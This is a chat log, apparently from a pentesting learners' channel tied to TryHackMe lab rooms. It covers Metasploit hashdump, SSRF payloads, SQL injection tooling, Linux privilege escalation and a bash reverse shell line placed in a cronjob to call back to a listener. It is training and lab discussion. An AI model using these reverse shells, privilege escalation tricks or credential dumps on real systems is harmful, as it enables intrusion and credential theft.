#junior-pentester-path

1 messages Β· Page 29 of 1

ancient marlin
#

newline is a character nevar 4get πŸ‘

white crag
#

In windows it's 2

ancient marlin
#

what I want to know is what kind of godforsaken typewriter were these people using that did a line feed after the carriage return

violet star
#

To answer this question do I need to change the RPORT from 80 to 8000 ? I am in task 2 of the Metasploit Exploitation room.

#

Nevermind. It turns out that I do

violet star
#

For Task 5 of the Metaexploitation room are we supposed to search for the flag.txt in the C:/Windows/system32 directory? I am somewhat confuse because the hint says used the search command in Meterpreter.

idle bison
#

Does it say where or how to find it?

#

It says use search, doesn't search search the whole system anyway?

violet star
idle bison
#

Ok, have you looked into the search command and how it works?

violet star
#

I know how the search command works in msfconsole. But The module didn't go over Meterpreter

idle bison
#

Research, as always, is absolutely critical

#

If you want to know about searching in meterpreter, you google meterpreter search and you get lovely offsec documentation like that

#

Have a look at the first few lines in that article

violet star
#

I would have but I wanted to follow the module and it just threw 'meterpreter' in there even though the module didn't go over it

idle bison
#

They have good coverage, but it needs to be supported with reading.

remote iris
#

I'm lucky my THM is 10.8.xx.xx

maiden stratus
rustic totem
maiden stratus
remote iris
#

Yeah.

#

My staff cookie comes through in about 5 sec(s)

#

Possibly a script that runs like every minute like the Ra admin one.

edgy arch
#

Mine is only coming through when I open the ticket for some reason

#

Ik,

remote iris
#

I was curious about that too, because I can take other peoples target IP's and then do it, and it works for me, not them.

#

Obviously that's because I'm 10.8

edgy arch
#

So what are the wait times again?

#

ok I'll restart

#

I did

remote iris
#

This one took slightly longer.

idle bison
#

Strongly suspect it will be a headless browser

remote iris
#

Better remove the video so the cookie isn't given away.

edgy arch
#

netcat's still not showing with a fresh box and 1 ticket

idle bison
#

I started making an XSS room before Adam joined and it was with selenium, that room never happened in the end due to it being a pain to automate lots of different actions

wanton iron
#

i have finished this path yaaay πŸ˜„

lusty yarrow
#

Is it bad to not understand a lot of this until you look at walkthrough videos?

#

Finishing the pre sec course rn

mental escarp
#

You should know yourself and what is your most effective way of learning

#

Walkthrough arent evil.

#

But you won't learn either if you just read them

#

-> Balance

coral stump
#

how's it going?

edgy arch
#

I think I messed up the box I was working on because I sent multiple requests with extreme inputs in an attempt to get a 500 Internal Error

#

and now it's been 3 minutes

#

Oh wait the servers back

#

poggers

rustic totem
remote iris
rustic totem
#

COOL

violet star
#

For the Metasploit Meterpreter room , do I need to be in the enum_shares "directory" to determine what the name of the share the user uses? I looked at the hint and it suggested that I should use the enum_shares exploit but first that I needed to run a background session

#

Nevermind figured it out. I needed to type "sessions -i 1" and then I typed "run post/windows/gather/enum_shares"

fresh marten
#

@verbal cargo or anyone who may be able to help explain. I tried doing some searching around to figure this task out, but I never came up with the '&x=' solution appended at the end of the URL to get the flag. Does this just disregard the original first part of the URL request? Wasn't able to come up with much from a google search, so figured I'd ask in here for a bit of an explanation for my own understanding. Thanks in advance!

next lanceBOT
#

Gave +1 Rep to @verbal cargo

ancient marlin
# fresh marten <@739760476489121803> or anyone who may be able to help explain. I tried doing s...

I'm not totally clear on it but this webpage makes it sound like it's about stopping some sort of recursion loop, where the data you're passing as the url parameter value can be expanded more than desired https://www.hackingetico.org/ssrf-server-side-request-forgery-explicaciΓ³n-y-prΓ‘ctica-habitaciΓ³n-de-tryhackme/

AquΓ­ vamos a aprender sobre la vulnerabilidad server-side request forgery (SSRF), que permite acceder a recursos internos del servidor.

violet star
#

I get an error when I attempt to run the hashdump module. Do I have to go back and type ' use /exploit/windows/smb/psexec' and change the SMBUser from 'ballen' to 'jchambers' by typing of course 'set SMBUser jchambers' ?

fresh marten
next lanceBOT
#

Gave +1 Rep to @ancient marlin

exotic lava
#

I am trying to do the Dll hijacking room but can not get the file to the windows machine

#

The wget command doesn’t or work or I am doing it wrong not sure what to specify for port

exotic lava
#

Nvm

exotic lava
#

Helps if the internet is connected on the windows machine

idle bison
shadow echo
violet star
#

figured it out. All i needed to do was type 'hashdump'. Way less complicated than I made it out to be.

exotic lava
merry night
ancient marlin
lusty yarrow
#

So right now I'm in Walking an Application, on Task 3, Viewing the Page Source. And when i input the url I get an error, any ideas?

#

Oh are we not allowed to send links?

rustic totem
lusty yarrow
#

God is that embarassing

#

Still nothing. I'm just getting a 405

rustic totem
#

Then paste the IP to your browser it will work

lusty yarrow
#

lmao thanks for being patient man

#

I got it now, just gotta read more carefully next time. thanks man

lusty yarrow
#

Pretty sure! havent seen this step yet but I think we're okay

rustic totem
lusty yarrow
#

Thanks!

#

So are all the moderators of each room certified pentesters?

shadow echo
lusty yarrow
#

Oh, bc I realized that you guys need to have an extensive knowledge of the room you're moderating

#

and I thought 'Huh, wonder if the discord mods are certified" and now I'm here.

shadow echo
idle bison
misty fossil
#

I am waiting forever for cronjob in task crontab in room linux privesc

rustic totem
misty fossil
rustic totem
shadow echo
misty fossil
#

It's rush hour or something, hard to connect to machine. Maybe try next time, but it's strange when can rev shell

#

I try on my own vmware and It worked.

jaunty dagger
#

Authentication Bypass Room

#

Task 4 Logic Flaw

#

can someone explain it to me in private, i can't understand it at all facepalm NotLikeThis paradox

jaunty dagger
#

so upon following the steps

#

i did this

#

the reseted the email giving me this green box : We'll send you a reset email to robert@acmeitsupport.thm

#

this did this string

#

then this

#

then i created an account with the name: username

#

and email:{username}@customer.acmeitsupport.thm

#

then this command

#

but i didn't get a ticket

#

what am i doing wrong

#

should i change the {username} to an actual username instead of these cases ?

#

or should i remove the 2nd curl since i don't have an email called attacker@hacker.com since i don't get a result

#

and why am i not getting the result where it sais in the greenbox: we'll send you a reset email to attacker@hacker.com

#

oh well

#

i solved it, thanks guys TryFlagMe

lusty yarrow
#

Hey so this is like the lamest thing but I think I found a typo?

quick herald
#

hey there! Can anyone please advice me with what shall i proceed after finishing the pre-security learning journey? What would be the next learning path to take?

high lintel
jaunty dagger
#

File Intrusion Room, Task8 Challenge

#

changed the GET method in network developer tools

#

and still i get no result cri

#

even when i double click the blue POST that i created double times it opens a tab with a GET method in the source code

jaunty dagger
#

did it with burpsuite to save time

#

but is it better to do it via curl or manual response rather than burpsuite ?

#

oh and thank @steel nymph

next lanceBOT
#

Gave +1 Rep to @steel nymph

rustic totem
#

Both are better

rustic totem
jaunty dagger
jaunty dagger
jaunty dagger
#

SSRF, Task2 SSRF Example

#

why would we use

#

instead of

#

oh F my bad

#

Take note of the payload ending in &x= being used to stop the remaining path from being appended to the end of the attacker's URL and instead turns it into a parameter (?x=) on the query string

#

but i mean why does the 2nd url start on the start of server request side

#

which is server.website.thm/flag?id=9

shadow echo
jaunty dagger
#

quick question guys: is it better to use burp or url injection in the sql injection in real world exercise since guessing the databases and usernames and passwords takes too much time and too much requests to the server?

sage current
#

doing some quick sql injection commands to check if it works or not before burp is a decent idea yeah

#

after that if you need to bruteforce the login there are better tools then burp for the job

#

unless you have the paid version of burp

#

forgot to mention that sqlmap is a thingy and can be used to do a lot of sql injection easier

#

thanks @steel nymph

next lanceBOT
#

Gave +1 Rep to @steel nymph

jaunty dagger
#

thanks @sage current and @steel nymph , i was just annoyed with how long the sql command injection is and how time consuming it is hence i asked this question, but overall thanks guys after all "work smart not hard", it's good to know the concept but a short path to getting around it if you can't get the full idea would pretty much equals the same output aniguns .

next lanceBOT
#

Gave +1 Rep to @sage current

jaunty dagger
#

i think it goes with too much experiments, since the room of sql injection is pretty forward and goes only 1 way, my main point is most of rooms that contains alot of info, i can't basically wrap my head around it even with so many tries in the same exercise, it's hard to memorize all those commands, i believe thats cause i have no prior knowledge . NotLikeThis

#

i memorize and try to understand the sequence of the command, but still i fail meh cri .

sage current
#

write notes.... write notes.... write notes

jaunty dagger
# sage current write notes.... write notes.... write notes

doing that with Notion, was @high lintel idea since that start lol. i'm saying should i worry if i don't get it even when i finish the room? like i have this problem with 3 rooms {SSRF/XSS/SQL}, it's basically because i can't wrap my head around them as i said, should i be moving forward so the exercise machines would help me understand more in depth and backing to room when this happens would let me say: OH..Ok so this does that and that's how it's connected .

#

or should i stay in those rooms till i fully get it ? pepehands

sage current
#

redoing the challenges from those instruction rooms might help a bit

#

another way would be to read others notes or watch others notes

#

also known as looking at writeups

#

which is fine if you read them carefully and try and learn to understand in shadow opinion

jaunty dagger
#

Thanks for your time guys, i hope i didn't waste it.. i'll try this after i finish the Burp repeater room. blobheart

polar quiver
#

Yo i got a question. When brute forcing for subdomains, what is the difference between brute forcing for sub domains, vs brute forcing for virtual hosts?

polar quiver
#

ah i see. thanks homie ❀️

next lanceBOT
#

Gave +1 Rep to @steel nymph

jaunty dagger
#

Burp Suite: Intruder

#

Task 11 : Practical Challenge

#

so the list is payload type is set to NUMBERS

#

when i put a range from 0-100

#

the payload count is still 0

#

so when i set number 1 to the step

#

and payload becomes 257

#

and i get some letters in my payload result and search

#

i got the flag anyway but i'm asking is this kind of bug or what is it ?

#

why are the numbers set from 0 to 100 and payload count is 257, is it the actual payload itself that is named numbers contains payloads like 3a, 5c in it ?

shadow echo
orchid lance
#

Can some one learn my how get into server and shut it down

idle bison
orchid lance
#

Get into server in our house

#

Sorry that i reply now i had a class

idle bison
orchid lance
#

Ok

#

I did it

summer vapor
#

Hi all

First time posting here, please don't judge, I'll try my best. Any idea what that could be? I cant find the answer πŸ™‚
How are stored XSS payloads usually stored on a website?

idle bison
#

Please can you state the room, task, and question number

summer vapor
#

Yes just a sec

#

It's from Junior Pentest Path, Cross-site Scripting Task 4

#

I guess comments, payload, injected code, javascript but it seems it is not the expected (8 letter) answer

#

Oh okay, it was database after all. It might be that I am not English native speaker, but wouldn't the question be better asked as "Where are ..." instead of "How are they stored"?

sage current
#

hmm maybe

violet star
#

I am trying to use the multi/handler Metasploit technique to do a Remote shell execution attack, but I get a "Invalid session identifier" error when I attempt to run that technique. I am on Task 13 of the "What the Shell" room and using a linux machine

idle bison
violet star
#

so do an nc -lvnp 4444 command on the @shell@practice-linux.com terminal perhaps?

idle bison
#

No, that's yet another listener

#

@practice-linux.com That is very very concerning.

oblique smelt
#

Hello, i am stuck in the Privilege Escalation: Capabilities (room Linux PrivEsc), the payload inside de vim -c is not giving me the shell, perhaps i am missing something? thanks

sage current
oblique smelt
next lanceBOT
#

Gave +1 Rep to @sage current

sage current
#

good job

#

generally in the room the example that they give you is not exactly the same as the intended way to get the flag

rotund jewel
#

Evening all

normal lion
#

when I am entering in what I want to do in a netcat connection I cant add a new line (typically shift + enter) any ideas??

shadow echo
verbal cargo
normal lion
next lanceBOT
#

Gave +1 Rep to @shadow echo

cinder forge
#

Finally done with this path πŸŽ‰

violet star
#

I get a 'permission denied' when I try to download this exploit to my target machine , even when I changed the permissions of the Exploit. I am in the Lin Priv Esc Room

languid aurora
#

Try changing your working directory to somewhere like /tmp where you are able to write with your current user and downloading it after that.

cinder forge
#

Is there any CTF rooms recommended to someone who has finished this path?

maiden stratus
violet star
maiden stratus
#

As you're already in that dir

violet star
violet star
#

do I need to change permissions using the chmod command?

idle bison
#

You need to change directory to somewhere that you're allowed to create and write files in.

violet star
#

do I need to change the directory in my target machine or attacking machine?

idle bison
#

Well where are you trying to write a file to?

violet star
#

I was going to initially download it and then after I downloaded it give it the write permissions

#

so to the target machine

#

*in the target machine

idle bison
#

And someone already suggested one

lone river
#

Am i missing something here? Im currently in https://tryhackme.com/room/winprivesc at T4, trying to leverage Fitbits unquoted service path to plant a shell there. ive tried to do that a few days ago already but today i cant sc qc Fitbit Connect as seen in the screenie. Last time i was able to. ive even executed the service so it is running but it still shows "not installed". Any tips on this before i replace the service file with the shell?

#

stupidly ez

#

thank you. that was the last thing i thought of, jesus

#

Thanks!

next lanceBOT
#

Gave +1 Rep to @steel nymph

violet star
#

Compiling this exploit will not help since when I ran the code it already showed a syntax error right?

idle bison
#

It's C. C must be compiled to run.

#

You can't ./ a c file, you need to do that to the compiled binary

fresh marten
next lanceBOT
#

Gave +1 Rep to @verbal cargo

kind tangle
#

I am in Content Discovery task 3. I got the answer, but I am wondering how to do this in real life. If this only works if they forgot to replace the default icon with a custom one, how can I tell if that's the case? In this example, it looks like they are using a custom favicon.

sage current
pliant girder
#

i need to learn brup suit suggest me where to learn

maiden stratus
lusty ermine
pliant girder
#

Thank u guys

lusty ermine
kind tangle
#

So if I want to check Microsoft for example, I go to https://c.s-microsoft.com/favicon.ico?v2 . If I am not using Linux, can I just right click and download the file and check the MD5 with my own hashing software?

sage current
#

yuups and then put the md5 checksum into a tool that checks it against known platforms

kind tangle
sage current
kind tangle
#

The icon in the tryhackme website looks like a custom favicon.

#

Thanks for explaining! Now I see that that is from the page that says "website coming soon..."

violet star
#

So for Task 7 of the Linux Privi room , I logged into gerry conways account and managed to locate the flag3.txt file but don't have the right permissions.

shadow echo
#

The task is about SUID, so look for files that have that bit set

rustic totem
jaunty dagger
#

Protocols and Servers Room

#

Task 3

#

why can't i get the flag.thm via telnet connection and i can get it over the website ?

shadow echo
jaunty dagger
#

so i need to write down the host: telnet part

shadow echo
#

Right

jaunty dagger
#

Vulnerability Capstone

#

Task 2

#

What is the value of the flag located on this vulnerable machine? This is located in /home/ubuntu on the vulnerable machine.

#

i don't know how could i use this exploit

#

what do i have to change

#

i changed the first url

#

there is line under while 1 :

#

the proxy =

#

i'm really trash in understanding those exploits and the mechanism how they work NotLikeThis

sage current
#

it using burp suite together with the rest

jaunty dagger
#

1 using burpsuite and other removing the burp command and using mkfifo and a stable shell

#

and other guy ran just python3 and everything worked fine

#

so it was just weird for me that i can simply remove codes from the exploit since i know nothing of scripting langs.

sage current
#

i.e the one shadow linked should be able to be run with just python with near zero modifications

rustic totem
sage current
#

if the remote code execution 3 does not work there is a file on the attackbox for this.... which shadow can send here:

#

sorry for kinda spammy text but felt better to do it this way instead of uploading a random file

#

oh wait yeah that is true.....

#

dunno if that works for .py files

#

yuup that works better

#

thanks @steel nymph

next lanceBOT
#

Gave +1 Rep to @steel nymph

sage current
#

making things less spammy is a good thingy

#

lmao yeah of course that is the result as it is a exploit for fuel cms 1.4

#

and it is a python file

#

python files are scary

#

also shadow has better ideas and don't feel like trying to ruin their relationship with this discord by trying to hack its users

#

fair shadow assumed you were but felt a clarification was needed anyways

idle bison
#

@hushed copper this is neat

hushed copper
idle bison
#

Nope, I don't send people payloads

hushed copper
#

kekw
Tbf, I had Discord turn my zipfile of BoF payloads that I sent to a uni friend into a pasta recipe last week, soooooo

fair timber
#

I'm nearly done with Jr pentester path, is there any recommended boxes to start on after that? I'm kind of looking to roll through reviewing on the stuff I learned in Jr pentester.

#

Great thanks, I wasn't sure if I should jump right into that

sage current
#

is also a good bet

fair timber
#

Is offensive pentesting introducing a lot of new stuff or just ctfs based on things in Jr?

fair timber
next lanceBOT
#

Gave +1 Rep to @sage current

sage current
#

that page updates for each user as they go along if shadow understands it correctly so you will get recommended ctf boxes that fit into your knowledge

fair timber
#

Awesome thanks, much appreciated

next lanceBOT
#

Gave +1 Rep to @steel nymph

fair timber
jaunty dagger
#

Linux PrivEsc

#

Task7

#

i can't get the SUID file 😦

#

i tried base 64

#

and it's not working

#

tried the command from GTFOBins and it's not working actually

#

i think the choice of service is either wrong or i'm trying to find it the wrong way

#

the highlighted area is where i searched

#

i tried everything else actually

#

i tried the shell

#

i'll show you

#

so i was going the right way ?

#

F

#

find / -type f -perm -04000 -ls 2>/dev/null , i used this at the start

#

SUID

#

i can't :3

#

when i typed sudo -l

#

nothin showed up

#

so i have no premission to run sudo

#

oh

#

wait ..

#

i'll try this one

#

so i might need to you to solve it for me since i don't understand what it really sais :3

#

i tried now

#

but seems i'm getting it the wrong way

#

i tried LFILE=sudo

#

./base64 "$LFILE" | base64 --decode

#

but seems it doesn't work

#

reason: ./base64 not found

#

because i can't install it

#

done it

#

blobheart \

#

i was able to access the file, man i'm stupid xD

#

last question how do i copy out of this ubuntu black windows

#

or should i switch to attackthebox ?

sage current
#

mark text then ctrl + shift + c

#

to past into terminal it is ctrl + shift + v

jaunty dagger
#

nano /etc/shadow will print the contents of the /etc/shadow file. We can now use the unshadow tool to create a file crackable by John the Ripper. To achieve this, unshadow needs both the /etc/shadow and /etc/passwd files.

#

in Task 7

#

What is the password of user2?

#

i just went to hashcat wiki

#

got the hashcat format

#

used john to decrypt it

#

but i didn't use the unshadow method

#

is this ok ? or should i know this shadow method ?

#

@steel nymph are you a wizard ?

lusty yarrow
#

So right now I'm in Authentication Bypass Task 3, and after I run the brute force command it comes up with this error

#

"Keyword W1 defined, but not found in the headers, method, URL, or POST data" I could easily be missing something but i've read it through a few times and can't seem to find the problem,.

jaunty dagger
#

Linux PrivEsc

#

Task9

#

why doesn't the netcat port listen and receive connection ?

nimble portal
jaunty dagger
jaunty dagger
#

Linux PrivEsc

#

Task 10

#

Exploit the $PATH vulnerability to read the content of the flag6.txt file.

#

You can add the writable directory to your user's PATH and create a file named "thm" that the "./test" executable will read. The "thm" file can simply be a "cat" command that will read the flag file.

#

so the steps i took in this challange :-

#

1- echo $PATH

#

2- find / -writable 2>/dev/null

#

3- i found a file called thm.py in /home/murdoch

#

4- cat that file and that the results

#

i did ./test

#

then i entered the root priv.

#

but i have question here

#

it's a pre-setup file as it's an advanced PrivEsc for us as beginners ?

shadow echo
jaunty dagger
#

so as a i said, it's pre setup file

shadow echo
jaunty dagger
#

why can't i just python3 thm.py and it works directly ?

shadow echo
jaunty dagger
#

i don't understand this lesson pretty well, i think i'll revise it later when i get it in a ctf

shadow echo
jaunty dagger
idle bison
#

Deja Vu explains this quite well IMO

shadow echo
# jaunty dagger i'm shy to say that i'm this stupid that i don't know <:NotLikeThis:689847725969...

It's fine, doesn't mean you are stupid.
I don't know about Deja Vu what James said, but for sure something to check out if he recommends it.
Either way, if you run any command, is it cat ls or whatever, your system is checking the PATH variable.
In your PATH variable are paths like /usr/bin/ or maybe even /home/karen etc.
So it's checking all these paths if there is a binary called cat, if there is, it can execute it.
So since there is /usr/bin/cat it can execute it.
It's the same with the thm binary your system is looking for now, it's checking all the paths in the PATH variable.

#

I hope that's making sense, I tried my best to explain it πŸ˜„

jaunty dagger
#

Linux PrivEsc

#

Task 11

#

so why can't i cd to backup :3 ?

#

ok i understood wht i did wrong

#

i was putting files on other file lol

kind tangle
#

In subdomain enumeration task 6, I am supposed to find the most occurring size value. What is that?

idle bison
#

You're getting errors

kind tangle
#

Thanks!

next lanceBOT
#

Gave +1 Rep to @steel nymph

worn haven
#

file inclusion task 5 lab 4 . when put /. or %00 the response is not given... instead have to use // which is in the lab 5... so how can i response lab 4 without knowing lab 5? or it also work doing this http://ip/lab4.php?file=../../../../etc/passwd/ and it has nothing to do with the exercise

jaunty dagger
#

Windows PrivEsc

#

Task2

#

What is the state of Windows Defender?

#

i used

#

sc query windefend

#

nothing comes out

#

went to control panel

#

but i can't get to know the firewall status unless i got the admin pass lol which i think is not part of the lesson

#

tried even sc query WinDefend

#

doesn't return back results

#

maybe the machine is stuck

remote iris
#

sc query windefend

remote iris
whole timber
jaunty dagger
remote iris
jaunty dagger
#

Where should i go after Jr-Pentester path is finished? should i move to web application fundamentals or offensive ?

exotic oracle
#

I have just started the course, and I cannot find the flag in the comment of the page source for some reason? There are 3 comments and they are pretty short, I'm pretty sure I haven't missed them

remote iris
#

Are you looking in the right page ?

exotic oracle
#

The site is linked in the room (Acme IT support). I went right click -> Page Source

idle bison
#

Did you read the comments?

#

Any of them seem interesting?

exotic oracle
exotic oracle
#

I would post a screenshot but I am not permitted, is the flag supposed to be in the comment?

idle bison
#

You can post screenshots if you verify with the bot, follow the steps in the link below

#

!docs verify

tiny bluffBOT
jaunty dagger
exotic oracle
#

This should be it. Unless I am blind (which I probably am), I don't see the token which is supposed to be in one of the comments

idle bison
exotic oracle
#

Yeah, figured it out the moment I sent it, fuck me

violet star
#

With the CapStone Challenge should all 7 privilege escalation attacks you tried throughout the Linux PrivEsc room work or do only one of those privilege escalation attacks work and you have to figure out which one

shadow echo
merry night
next lanceBOT
#

Gave +1 Rep to @whole timber

idle bison
merry night
whole timber
#

Awesome, thanks a lot for looking into it. A bunch of other rooms have the bpnetworking room liked as well, don't remember which one, hopefully you can fix them too.

exotic oracle
#

Hmm, a quick question, there are challenges here, right? It mentions using Burpsuite which is the whole section inside the course, but only after this section. Should I do that first and then come back or is it not required?

This is the File Inclusion room.

worn haven
shadow echo
exotic oracle
#

YEPPERS Alrighty thank you

whole timber
#

In the Linux PrivEsc room, I'm unable to use wget to get the exploit on the vulnerable machine onto the local one. Tried troubleshooting, but StackOverflow said I needed sudo privileges, which I don't have. Here's the error I'm getting:

Connecting to [LOCAL_IP]:[LOCAL_PORT]... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5119 (5.0K) [text/plain]
37292.c: Permission denied

Cannot write to β€˜37292.c’ (Permission denied).

Any ideas?

shadow echo
#

So just search for a directory you are able to write to

whole timber
#

Gotcha! Thanks!

whole timber
#

On the 9th task of the Linux PrixEsc room (https://tryhackme.com/room/linprivesc), I'm unable to catch the reverse shell on my listener. Have done the following:

On the vulnerable machine:

  1. Replaced the cronjob executing backup.sh at /home/karen/backup.sh with
    bash -i >& /dev/tcp/[Local IP]/6666 0>&1
  2. Made the file an executable with chmod +x backup.sh

But I don't catch a shell:

nc -lvnp 6666
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::6666
Ncat: Listening on 0.0.0.0:6666
|

Don't know where I'm going wrong.

shadow echo
quasi hedge
#

I am trying to finish the Authentication Bypass room, but I am getting a site cannot be reached error for the Acme IT page. I was on the site Friday, but had to stop. The link it is taking me to is http://10.10.225.113/customers/reset. I have cleared my cache and closed/reopened the room and attack box. Any other ideas?

whole timber
#

thank you so much

uncut stone
#

Hi

#

I have a question - subject: Local File Inclusion (LFI), PHP

#

the include function asks for a specific $_GET, namely parameter "lang"

#

why is the parameter 'file' accepted then?

idle bison
uncut stone
#

what do you mean

idle bison
#

The content in the room has a mistake

uncut stone
#

hmm ok. What would normally be written there?

idle bison
#

It should say index.html?lang=/etc/passwd

uncut stone
#

this makes more sense to me

#

index.php?lang=/etc/passwd

#

thanks

idle bison
#

cc @merry night typo leading to confusion

finite ginkgo
finite ginkgo
whole timber
#

In the Windows PrivEsc room, task 2 requires that I find the state of Windows Defender. As per the writeup, the command I should execute is: sc query windefend, but doing it in Powershell on the VM doesn't do anything...

#

Any ideas?

sage current
whole timber
next lanceBOT
#

Gave +1 Rep to @sage current

sage current
#

no problem

#

this is because powershell has a built in sc cmdlet and you want the sc.exe instance

whole timber
#

ah makes sense :)

rustic grove
#

just a quick clarification: nothing to do with a specific task per se, but with the paths challenges are the attack boxes 100% needed to complete?

idle bison
#

It's an Ubuntu machine loaded with pentest tools

rustic grove
#

alright, well then either i don't have my ovpn set up correctly b/c some of the tasks only show progress when using the attackbox, othertimes, not the case

#

just wanted to sniff out what my issue was

#

is that task 8? i'm working on task 7 rn

#

good to know, time to reset and do it in the attack box

#

to late, already did, but i've already passed the location i was on in task 7

#

just to get stuck on level 4, sounds right

idle bison
#

I believe they said it would work on EU1?

#

Eh, the room should really be fixed

rustic grove
#

it's entirely possible that it's a picnic error when vpn is involved if i'm being wholly honest

violet star
#

I am having trouble copying text outside the windows virtual terminal into the windows virtual terminal . I am in the windows PrivEsc room

worn haven
uncut stone
#

can someone explain me step 1 to step 2 ? I read the Description, but im still confused

#

its about SSRF

#

Description:
"In this example, the attacker can control the server's subdomain to which the request is made. Take note of the payload ending in &x= being used to stop the remaining path from being appended to the end of the attacker's URL and instead turns it into a parameter (?x=) on the query string."

sage current
#

shadow would if they actually full understood ssrf

#

lets just state it weird

uncut stone
#

we have the first part website.thm/stock?server and the second part api.website.thm/api/user. In step 2 there is the request to the API server. why does it say website.thm/stock/item?id=123 in the querystring. where does that come from all of a sudden?

#

"[...] &x= being used to stop the remaining path from being appended to the end of the attacker's URL. "

Dont understand why the API-Server get website.thm/stock/item?id=123 as querystring. I thought it would be cut off.

uncut stone
sage current
#

fair

#

shadow just gets you somehow make the website refer to itself and there by get access to api and thingies you are not meant to have access too

uncut stone
#

can a URL contain multiple question marks in the querystring?

#

I know that the first ? initiate the querystring.

#

but in this example I see two ?

idle bison
#

Never underestimate the value of doing stupid shit and seeing what happens, good motto to play by

uncut stone
#

The first ? is the introduction of the query string. The part that is in the url= parameter is sent to the API server. The 2nd ? is intended for the API server.

idle bison
uncut stone
#

One for the webserver and the url= part has his own ? for the API Server

#

Now my previous question also makes more sense.

uncut stone
#

Let's imagine that there is a simple web server without an API server. If I would now accidentally make two ?, what would be the effect of the 2nd?

idle bison
#

It goes back to the RFC, as many things do

next lanceBOT
#

Gave +1 Rep to @idle bison

uncut stone
#

here I am again. Greenhat in action πŸ˜„

#

Direct access to /private is prohibited. Here you try to access the directory private by using path traversal to bypass the lock. So one level higher ../ and then into the private directory. Can you explain to me what the x is doing here?

#

Description: "This trick works because when the web server receives the request for x/../private, it knows that the ../ string means to move up a directory that now translates the request to just /private"

#

.
My question: what is the x doing here? This is not a directory or something (?)

sage current
#

probably bypassing a fillter that makes it unable to start with a /

shadow echo
uncut stone
#

on my Linux: No such file or directory

#

in terminal

shadow echo
uncut stone
#

maybe i'll find out soon.

shadow echo
uncut stone
#

hmm ok

thorn dome
#

can anyone help with systemctl on nessus

#

tried to start the web

#

with the command but it's doing nothing

rustic totem
idle bison
thorn dome
thorn dome
#

thx

idle bison
finite ginkgo
#

Why so, if you don't mind me asking?

#

I've been stuck on it all day and wondering what I was doing wrong. 😒

sage current
quiet musk
#

I'm working on the active recon room. When doing the telnet exercise, shift+enter to put in the host: name part of the command works. On the netcat exercise, trying to do shift+enter just enters the command prematurely, yet the instructions still say to use shift+enter. Am I doing something wrong or is there a workaround?

shadow echo
quiet musk
# shadow echo Where does it say to use shift+enter ?

Task 6 "First, you can connect to a server, as you did with Telnet, to collect its banner using nc MACHINE_IP PORT, which is quite similar to our previous telnet MACHINE_IP PORT. Note that you might need to press SHIFT+ENTER after the GET line."

shadow echo
quiet musk
#

I'm using the attackbox I don't know if that'd causing the issue

shadow echo
quiet musk
shadow echo
#

So you might want to provide a screenshot of that, therefore you would have to verify first

#

!docs verify

tiny bluffBOT
robust lintel
#

So, I'm doing the "junior pentester path" and I was wondering how can I practice what I've learned. My first ideia was to explore the vulnerabilities on Juice Shop OWASP project. Do you guys have any other advice/ideia to practice what is learned on "junior pentester path"?

robust lintel
#

cheers

modest arch
#

can I ask a noob question here ?

#

I like to learn web pentest. I am following a youtube tutorial. I downloaded owasp zap, apache2 , php, mutillidae in the /var/www/html directory and installed some other packages. I get an error message while unpacking mysql-server. It is some kind of a dpkg failier. So I downloaded mariadb instead of mysql-server. It will cause problem ?

#

And also I installed firefox with foxy proxy extenstion and added an option 127.0.0.1 with port 8080

#

also I changed the network setting of firefox to 127.0.0.1 with port 8080

#

no..

#

I am following a yt channel. But I dont know where to ask my doubts

#

and clear the problems

wanton bobcat
#

Can i also ask a question?

#

im having an issue finding the HTML flag in the Walking an Application task 3

#

yes

#

ill send ss

tiny bluffBOT
wanton bobcat
#

ok

#

done

#

ive checked the source code, i went to the link in the comment at the bottom

#

but i didnt see a flag

#

or i dont know how to recognize it

#

that gave me a "FILE NOT FOUND"

#

/new-home-beta

#

i pasted that into my browser

#

yea

#

thats what happened

#

what do i do then

#

isnt it a pathway?

#

I found it

wide inlet
#

In the first lab the web framework site for me was down, wasn't pinging (but was able to resolve its ip), wouldnt respond to telnet 443 or 80, and had no ports open for nmap (...) . I'm guessing it was just down; I'm new to tryhackme and have a free account, how often does this happen?

#

Basically, I'm missing that one flag to go to the next page

#

Based on the hint I would just need to get the contents, see a reference to a 10-10--.p.thmlabs.com/somefile.zip and then get the flag from those contents, but I wasn't able to get the framework site at all

#

Sorry, this was for walkinganapplication in the Jr. pentester path

pastel orbit
#

Hi guys i'm doing the Introducing to web hacking/Subdomain Enumeration/Virtual host module. When using the ffuf command on my own kali machine it's taking so long time meanwhile when i'm using it on the attackbox i'm getting instant results. How come it's taking so long time on my machine?

shadow echo
pastel orbit
shadow echo
pastel orbit
#

I'm getting a lot of errors two!

shadow echo
#

Are you connected to the thm vpn ?

pastel orbit
#

yes i'm

#

How do i verify myself

shadow echo
tiny bluffBOT
pastel orbit
#

I thought i did

shadow echo
pastel orbit
#

How i'm a complete beginer

#

so you need to explain for me what you mean πŸ˜„

shadow echo
#

I just want to see if it's an issue with the target machine or an issue on your side

pastel orbit
#

Ok

#

i think the ip have changed

shadow echo
pastel orbit
#

ya

#

one second

#

ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/namelist.txt -H "Host: FUZZ.acmeitsupport.thm" -u http://10.10.24.117

#

that's the new machine

#

it's not working thow!

#

when i'm pinging it i get no response

shadow echo
pastel orbit
#

yes i do i have a tunel

#

i see it

#

tun0

#

and it says that im connected on thmm

shadow echo
#

So no tun1, tun2 etc. ?

pastel orbit
#

no

shadow echo
#

Alright, if you do curl 10.10.10.10/whoami does it reply with your tun0 IP ?

pastel orbit
#

ya

#

it dose

#

10.10.24.117

#

this the new machine ip

shadow echo
pastel orbit
#

virtuall

#

virtual

shadow echo
# pastel orbit virtuall

Do you have any personal VPN or similar running on your host machine (the one that is hosting your virtual machine)?

#

Or another instance of the thm vpn running on your host machine?

pastel orbit
#

yes

#

on my host machine

shadow echo
pastel orbit
#

i did same problem

shadow echo
pastel orbit
#

it's on

shadow echo
pastel orbit
#

I'm getting really tired i well look it tomorrow thanks for everything

wide inlet
#

Thanks for offering; I think I'm just new to the interface and hadn't started the attack machine, or it has expired. When I get time back I'll give it another go, probably just my mistake though.

next lanceBOT
#

Gave +1 Rep to @steel nymph

wide inlet
#

